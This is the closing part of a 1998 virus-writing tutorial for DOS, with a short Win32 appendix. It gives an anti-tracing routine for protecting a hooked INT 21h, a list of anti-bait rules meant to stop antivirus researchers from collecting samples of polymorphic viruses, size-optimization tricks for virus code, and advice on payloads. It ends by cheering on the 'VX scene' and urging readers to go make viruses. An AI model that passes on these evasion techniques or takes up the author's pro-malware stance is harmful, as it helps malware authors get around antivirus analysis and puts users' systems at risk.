Ain't it charming? :) With this shit we've fucked their attempt to steal OUR
INT 21h. But... what if we want to know if there's someone trying to steal
it? This routine is stolen from this same document, from ARMOURING chapter.
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz not_traced
jmp $ ; If traced, freeze the processor
not_traced:
[...]
A nice attitude: be lamer with his own stuff :)
This chapter is an extension of the TUNNELING chapter. So... with this two
simple routines, and a little bit of good luck, you can go so far away :)
ÄÄÄ´ Anti-bait ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The baits/sacrifical goats are programs that don't do anything. And you will
wonder why... They use this programs for catch the viruses, that will infect
them. And, they will have a copy of our virus :(
But our great problem is when our virus is polymorphic. They will infect
about 10 thousands of this files in order to search for a realiable scan
string and/or algorithm that catch about all da possible mutations. Of cour-
se, if we add code to simply refuse the infection for this programs, we're
fucking them ( it's boring to fuck always the same people, but they work
fucking ours... ) ;)
There are some points you can follow for don't allow ( or make hard ) our
virus to infect a bait:
- Don't infect files at least < 5000, or better, refuse < 10000. So we're
making AV to create 10000 baits, of 10000 bytes each one. So they will need
at least 100 megs for our virus :)
- Don't infect files with numbers in its name. Baits are ussually called
"00000000.COM", "00000001.COM" and such like.
- Don't infect files with consecutive names. This can seem the same than
the above. Not. If they see that our virus don't infect the files with num-
bers, they will create files like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit
like this.
- Don't infect consecutive files with the same size. This is another strain
of the above two methods.
- Don't infect the files with today's date. About all the executable files
are in one computer for some days and/or months. It's very rare to find
files with today's date ( well, not at all, but about all the baits have
this date ).
- Catch a timer interrupt, or whatever you want in order to avoid the infec-
tion of files in at least 10 minutes. Just imagine one situation... an AVer
is trying to get a scan string for our virus. We've implemented all the
above anti-bait tecniques in our virus, and the AVer will reboot a lot of
times for see what triggers the refuse of the virus. And, if each boot we
make him to wait 10 minutes... He will waste a lot of time in our virus :)
- Don't infect files at root directory. A lot of bait generators make their
baits at root directory, so they're fucked again :)
- Don't infect files with zero-jumps and calls: This are only used by baits
and PERs, so... Search for all E9 00 00, E8 00, [70..7F] 00, and such like.
- Of course, check for a lot of NOPs, XCHGs with the same register ( XCHG
BX,BX ), moves with the same register...
- Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same
register... When you've seen a program that makes a INC DX followed by a
DEC DX ???
- Detect if the first thing the file executes is a MOV AX,4C00h/INT 21h or
a INT 20h.
If a virus has implemented at least 5 of this things in its code, be sure
that it'll be higly anti-bait. :)
ÄÄÄ´ Optimization ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are two kinds of optimization: structural and local. In this little
chapter i'll talk about the two kinds. But first you must understand one
thing: never optimize your code until it's full-working. If you begin to
optimize a code that don't works, ther'll be a lot of more things that will
make it don't work, you'll try to fix it, and you'll make more and more
mistakes... an endless loop of shit :)
% Structural optimization %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is the most effective, and the more hard to do and understand. This
kinda optimization can be easily unserstand by using a paper, and writing
there the algorithm of your virus. We haven't here paper, so let's imaginate
a situation... imagine you, on yer virus, open the file first for read only,
close, open again for read/write, and close again. This is a waste of bytes.
For this kind of optimization, you must think a lot about what things can
you change and save bytes, and what things don't. The solutions must be
custom-made to your problems.
% Local optimization %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is the easiest way, however it can save a lot of bytes tho. It consist
in change some code lines individually to another ones that do the save job,
using less bytes.
þ Clearing Registers:
mov bx,0000h ; 3 bytes
xor bx,bx ; 2 bytes
sub bx,bx ; 2 bytes
So, never use the first one, and choose one of the other ways. There is a
register that can be cleared by other way: DX. Let's see:
mov dx,0000h ; 3 bytes
xor dx,dx ; 2 bytes
sub dx,dx ; 2 bytes
cwd ; Convert word to dword ( 1 byte )
The CWD will ONLY work if AX content is less that 8000h. There is a way to
clear AH with a one-byter: if AL < 80h you can use the CBW instruction.
þ Comparisons:
There's a very well know way by all us, that is to use the instruction
developed specially for this: the CMP. For compare two register, you can
use two ways with the same result, and no savings:
cmp ax,bx ; 2 bytes
xor ax,bx ; 2 bytes
But we can only use XOR in all the cases if we want only know if the values
are EQUAL. However, we CAN save bytes if we use xor instead cmp when compa-
ring a register with an immediate value:
cmp ax,0666h ; 3 bytes
xor ax,0666h ; 2 bytes
But, due the nature of XOR instruction, we can't use it for know if a reggie
is clear. But here comes OR to save us...
cmp ax,0000h ; 3 bytes
or ax,ax ; 2 bytes
þ Optimized reggie - AX:
You can use it for comparisons:
cmp bx,0666h ; 4 bytes
cmp ax,0666h ; 3 bytes
And you can move AX to another register in a very optimized way:
mov bx,ax ; 2 bytes
xchg ax,bx ; 1 byte
You can do this if da values of AX and BX before the change are unimportant.
This is really good for put after a file open, coz the file handle is better
in BX.
þ String operands:
Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform
some actions. Let's see for what purposes can you use it:
- MOVS: A movement from the position DS:[SI] to ES:[DI]
les di,ds:[si] ; 3 bytes
movsb ; If we want a byte ( 1 byte )
movsw ; If we want a word ( 1 byte )
movsd ; If we want a dword ( 2 bytes ) 386+
- LODS: Put in accumulator the value of the position DS:[SI]
mov ax,ds:[si] ; 2 bytes
lodsb ; If we want a byte ( 1 byte )
lodsw ; If we want a word ( 1 byte )
lodsd ; If we want a dword ( 2 bytes ) 386+
- STOS: Put in accumulator the value of the position ES:[DI]
les di,al ; Can't do this!
les di,ax ; Can't do this!
stosb ; If we want a byte ( 1 byte )
stosw ; If we want a word ( 1 byte )
stosd ; If we want a dword ( 2 bytes ) 386+
- CMPS: Compares the value in DS:[SI] with the value in ES:[DI]
cmp ds:[si],es:[di] ; Can't have 2 segment overrides!
cmpsb ; If we want a byte ( 1 byte )
cmpsw ; If we want a word ( 1 byte )
cmpsd ; If we want a dword ( 2 bytes ) 386+
- SCAS: Compares the value of accumulator with ES:[DI]
cmp ax,es:[di] ; 3 bytes
scasb ; If we want a byte ( 1 byte )
scasw ; If we want a word ( 1 byte )
scasd ; If we want a dword ( 2 bytes ) 386+
þ 16 bit registers:
Ussually, it's more optimized the usage of 16 bit register than the 8 bit
ones. Let's see an example with MOV instruction:
mov ah,06h ; 2 bytes
mov al,66h ; 2 bytes ( 4 bytes total )
mov ax,0666h ; 3 bytes
It's more optimized to increase/decrease any 16 bit register:
inc al ; 2 bytes
inc ax ; 1 byte
dec al ; 2 bytes
dec ax ; 1 byte
þ Bases and segments:
The movement from another segment to another can't be done directly, so we
must to play some with it:
mov es,ds ; Can't do this!
mov ax,ds ; 2 bytes
mov es,ax ; 2 bytes ( 4 bytes total )
push ds ; 1 byte
pop es ; 1 byte ( 2 bytes total )
Use DI/SI is more enhaced than the use of BP.
mov ax,ds:[bp] ; 4 bytes
mov ax,ds:[si] ; 3 bytes
þ Procedures:
If you use a routine a lot of times, you must think about the possibility of
make a procedure. This can optimize your code. However, the bad use of the
procedures can invert our needs: the code will grow. So, if you wanna know
if the conversion of a routine to a procedure save bytes, you can use this
little formula:
X = [rout. size - (CALL size + RET size)] * number of calls - rout. size
The CALL size + RET size means 4 bytes. The X will be the bytes we save.
Let's see the tipical function that saves some bytes, the file pointer move-
ment:
fpend: mov ax,4202h ; 3 bytes
fpmov: xor cx,cx ; 2 bytes
cwd ; 1 byte
int 21h ; 2 bytes
ret ; 1 byte
We have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize
our code:
X = [ 7 - ( 3 + 1 ) ] * 3 - 7
X = 2 bytes saved
This is a invented calculation, of course. You can call this routine more
than 3 times ( or less ), make its size different, and many more things.
þ Last tips for local optimization:
- Use SFT. In this structure you've a lot of useful information, and you can
manipulate it without any problem.
- Make your compiler pass trough the code at least 3 times for eliminate
all unnecessary NOPs and other shit.
- Use stack.
- It's more optimized to use the LEA instruction that use the MOV offset.
ÄÄÄ´ Appendix 1 : The new school ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, here i will make a little introduction to the whole new world that is
Windows 32-bit programming. An advice: change your mind :)
If you arrived to this point i assume you are intelligent, and know to code
in 16 bit ASM very good. So, it's time for learn the basics of Windows envi-
roments, and code a little bit. But this part of the tute, as is an appendix
won't be very complete, so you will have to search da information in another
place :)
% Brief description of what's going on %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here we must erase almost all our knowledge of DOS if we want to be success,
because all that is unnecessary now. All the explained before has no more
utility in Win32 ( well, there're some exceptions of course )... interrupts,
structures, COM files, methods of residency and stealth, append methods,
anti-debugging, anti-heuristic... the only that remains of all that are the
concepts, the code we must do is very different. Well, some people use to
misname Win95 viruses as Win32. No. Win32 means that da virus MUST be compa-
tible with all Win95, WinNT, Win3X+Win32s and Win98.
Well, we have new registers, new segments, new structures... and a lot of
new things for research. Ain't as difficult as it appears to be... just
think that it's the moment that you have waiting for: there're a lot of un-
explored techniques, so you can became easily in a pioneer :)
Forget all that 16bit segments, 16bit offsets, 16bit registers... Now we ha-
ve something more funny: all these things ( and much more ), but in a 32bit
version.
% Changes between 16 and 32 bit programming %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We will work ussually with double words instead words, and this thing open
us a new world of possibilities. We have two more segments to add to the
already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers
as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the
reggies: Imagine we have to access to the less significant word of EAX. What
can we do? This part can be accessed by using AX register, that handles its
LSW. Imagine that EAX = 00000000, and we want to put a 1234h in the LSW of
this. We must simply do a "mov ax,1234h" and all the work is done. But what
if we wanna access to da MSW ( Most Significant Word ) of EAX. For this pur-
poses we can't use a reg: we must play using ROL ( or SHL if LSW is shit ).
But... for what the fuck you need that? Use EAX goddamit! :P
% The base for Ring3 coding : The API %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
API can be considered as the thing that substitutes in Windows enviroment da
interrupts. In the "normal" applications developing we have them with any
kind of problem. But the thing changes in virus developing, as we need to
search for them. But this is another story that will be told another time in
another place :P Well, the parameters when we use APIs must be in the stack,
so we must push'em. Let's see an example:
push 00000000h
call ExitProcess
The API ExitProcess is the equivalent in Windows to the famous INT 20h in
DOS. The value we push is the exit code. Let's see:
VOID ExitProcess(
UINT uExitCode // exit code for all threads
);
Another example of API could be MessageBox(A/W). Yeah, shows that goddamn
msgbox.
int MessageBox(
HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);
Well, let's see more examples.
% Interesting APIs %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
All the information here is taken from the awesome Win32 programmer's refe-
rence, maybe the most kickass aid you can get when working under Windoze
enviroments. I'll only place here four of them, the most used nowadays, but
i really recommend you to download it: there're a lot of interesting APIs,
and if i put here all i think important, this tute will be 10 megs :)
þ GetProcAddress
The GetProcAddress function returns the address of the specified exported
dynamic-link library (DLL) function.
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // name of function
);
- Parameters
ú hModule
Identifies the DLL module that contains the function. The LoadLibrary or
GetModuleHandle function returns this handle.
ú lpProcName
Points to a null-terminated string containing da function name, or specifies
the function's ordinal value. If this parameter is an ordinal value, it must
be in the low-order word; the high-order word must be zero.
ú Return Values
A. If the function succeeds, the return value is the address of the DLL's
exported function.
B. If the function fails, the return value is NULL. To get extended error
information, call GetLastError.
Well, probably the most interesting API of all :P
þ GetModuleHandle(A/W)
The GetModuleHandle function returns a module handle for da specified module
if the file has been mapped into the address space of the calling process.
HMODULE GetModuleHandle(
LPCTSTR lpModuleName // address of module name to return handle for
);
- Parameters
ú lpModuleName
Points to a null-terminated string that names a Win32 module (either a .DLL
or .EXE file). If the filename extension is omitted, the default library
extension .DLL is appended. The filename string can include a trailing point
character (.) to indicate that the module name has no extension. The string
does not have to specify a path. The name is compared (case independently)
to the names of modules currently mapped into the address space of the
calling process.
If this parameter is NULL, GetModuleHandle returns a handle of the file used
to create the calling process.
ú Return Values
A. If the function succeeds, the return value is a handle to the specified
module.
B. If the function fails, the return value is NULL. To get extended error
information, call GetLastError.
þ FindFirst(A/W)
Da FindFirstFile function searches a directory for a file whose name matches
the specified filename. FindFirstFile examines subdirectory names as well as
filenames.
HANDLE FindFirstFile(
LPCTSTR lpFileName, // pointer to name of file to search for
LPWIN32_FIND_DATA lpFindFileData // pointer to returned information
);
- Parameters
ú lpFileName
A. Windows 95: Points to a null-terminated string that specifies a valid
directory or path and filename, which can contain wildcard characters ( *
and ? ). This string must not exceed MAX_PATH characters.
B. Windows NT: Points to a null-terminated string that specifies a valid
directory or path and filename, which can contain wildcard characters (*
and ?).
There is a default string size limit for paths of MAX_PATH characters. This
limit is related to how the FindFirstFile function parses paths. An
application can transcend this limit and send in paths longer than MAX_PATH
characters by calling the wide (W) version of FindFirstFile and prepending
"\\?\" to the path. The "\\?\" tells the function to turn off path parsing;
it lets paths longer than MAX_PATH be used with FindFirstFileW. This also
works with UNC names. The "\\?\" is ignored as part of the path. For example
"\\?\C:\myworld\private" is seen as "C:\myworld\private", and "
\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps"
ú lpFindFileData
Points to the WIN32_FIND_DATA structure that receives information about the
found file or subdirectory. The structure can be used in subsequent calls to
the FindNextFile or FindClose function to refer to the file or subdirectory.
ú Return Values
A. If the function succeeds, the return value is a search handle used in a
subsequent call to FindNextFile or FindClose.
B. If the function fails, the return value is INVALID_HANDLE_VALUE. To get
extended error information, call GetLastError.
þ FindNext(A/W)
The FindNextFile function continues a file search from a previous call to da
FindFirstFile function.
BOOL FindNextFile(
HANDLE hFindFile, // handle to search
LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on
// found file
);
- Parameters
ú hFindFile
Identifies a search handle returned by a previous call to the FindFirstFile
function.
ú lpFindFileData
Points to the WIN32_FIND_DATA structure that receives information about the
found file or subdirectory. The structure can be used in subsequent calls to
FindNextFile to refer to the found file or directory.
ú Return Values
A. If the function succeeds, the return value is nonzero.
B. If the function fails, the return value is zero. To get extended error
information, call GetLastError
C. If no matching files can be found, the GetLastError function returns
ERROR_NO_MORE_FILES.
[** WIN32_FIND_DATA **]
typedef struct _WIN32_FIND_DATA { // wfd
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[ MAX_PATH ];
TCHAR cAlternateFileName[ 14 ];
} WIN32_FIND_DATA;
- Members
ú dwFileAttributes
Specifies the file attributes of the file found. This member can be one or
more of the following values [ Not enough space for include them here: you
have them at 29A INC files ( 29A#2 ) and the document said before.
ú ftCreationTime
Specifies a FILETIME structure containing the time the file was created.
FindFirstFile and FindNextFile report file times in Coordinated Universal
Time (UTC) format. These functions set the FILETIME members to zero if the
file system containing the file does not support this time member. You can
use the FileTimeToLocalFileTime function to convert from UTC to local time,
and then use the FileTimeToSystemTime function to convert the local time to
a SYSTEMTIME structure containing individual members for the month, day,
year, weekday, hour, minute, second, and millisecond.
ú ftLastAccessTime
Specifies a FILETIME structure containing the time that the file was last
accessed. The time is in UTC format; the FILETIME members are zero if the
file system does not support this time member.
ú ftLastWriteTime
Specifies a FILETIME structure containing the time that the file was last
written to. The time is in UTC format; the FILETIME members are zero if the
file system does not support this time member.
ú nFileSizeHigh
Specifies the high-order DWORD value of the file size, in bytes. This value
is zero unless the file size is greater than MAXDWORD. The size of the file
is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow.
ú nFileSizeLow
Specifies the low-order DWORD value of the file size, in bytes.
ú dwReserved0
Reserved for future use.
ú dwReserved1
Reserved for future use.
ú cFileName
A null-terminated string that is the name of the file.
ú cAlternateFileName
A null-terminated string that is an alternative name for the file. This name
is in the classic 8.3 (filename.ext) filename format.
Another interesting apis could be GetFileAttributes(A/W), SetFileAttributes
(A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W),
SetEnfOfFile, etc.
---
Well, there're a lot of times equivalences between the functions we used in
DOS and an API. Search for them ;)
Let's continue with the typical example we always try to do when we have a
new language: the "Hello world!" :)
% Hello World in Win32 %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It's very easy. We must use the "MessageBoxA" API, so we define it with the
already known "extrn" command, and then push the parameters and call the
said API. Note that the strings must be ASCIIZ ( ASCII,0 ). Remember that
the parameters must be pushed.
.386 ; Processor ( must be
.model flat ; Uses 32 bit registers
extrn ExitProcess:proc ; The APIs it uses
extrn MessageBoxA:proc
.data
szMessage db "Hello World!",0
szTitle db "Windows coding - lame example",0
.code ; Here we go!
HelloWorld:
push large 0
push offset szTitle
push offset szMessage
push large 0
call MessageBoxA
push large 0
call ExitProcess
end HelloWorld
As you can see, it's very simple to code. Maybe not as easy as the same in
16 bit enviroments, but really simple if you think about all the advantages
that the 32 bits brings to us. Well, as this is a Virus Writing Guide for
people that is starting in virus coding, i think it's time to stop. If you
want to know more about this matter, you will have to wait for the tutorial
i am developing now: Virus Writing Guide 1.00 for Win32. Sounds cool huh? :)
ÄÄÄ´ Appendix 2 : Payloads ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
You must work in your payload, because it'll be the only thing that the user
will see of your virus. A payload that only trash da HD, or wipe files isn't
original, and it denotes that the user can't do better things. If you wanna
destroy, your work isn't in the virus scene: the trojans are very easy to
code so dedicate your efforts to the trojan developement <g>
I'm not saying that i refuse all kinds of destruction. But it must be reser-
ved for special moments, like if someone is trying do debug the virus or
something. I think that isn't good to make other people the things we don't
want happen to us.
You have good examples of originality in viruses like Elvira, Cascade,
Claudia Schiffer ( hehehe ;), Ambulance...
ÄÄÄ´ Last words ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
You can think that write this document was a pain for me. No, i've really
enjoyed the time i've used to write this little tutorial. I hope you enjoyed
its read :)
My objective was to make a complete tutorial, beginning at the runtime com
infection, and talking about some cool techniques like polymorphism and
tunneling. I made this with the objective of teach some people, and, at the
same time teach myself about a lot of things. Now, it's your time, not mine
Remember where did you learn :) And now, after reading, understanding, and
experimenting, you're ready to make very good viruses, and, if you want,
write articles for a virus related magazine, or to be in a VX group :)
After saying goodbye, i must send greets to some people, da ones that helped
me and the ones i admire. As I said in my presentation, this tutorial is
highly dedicated to zAxOn ( hehehe... i wrote your nick in da rite way ;) da
one that received all my telephone calls for questions like " How i can copy
a file? ", or " What is this program... the PKZIP? " in my earlier steps in
the computing world. He listened with a good attitude all my projects,dreams
and else. It's good to have friends like him :)
This document is also dedicated to this people that make big efforts for
teach the people that is interested in VX, with dreams of fame <g> and else.
It's a way for assure the future of the virus scene... VX FOREVER!
Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo,
b0z0, Owl, StarZer0, Neurobasher, Vyvojar, Qark, Quantum, Int13h, Murkry,
Jacky Qwerty, Darkman, Super, and all da people who rocked and still rocking
the world making this little misunderstood forms of life, automatas, always
labeled as bad things. You know what ignorance does.
PS: This tutorial is my humble tribute to that OS, that lived between all us
since some centuries ago, called MS-DOS. RIP.
Valencia, 16 of December, 1998.
Billy Belceb£,
mass killer and ass kicker.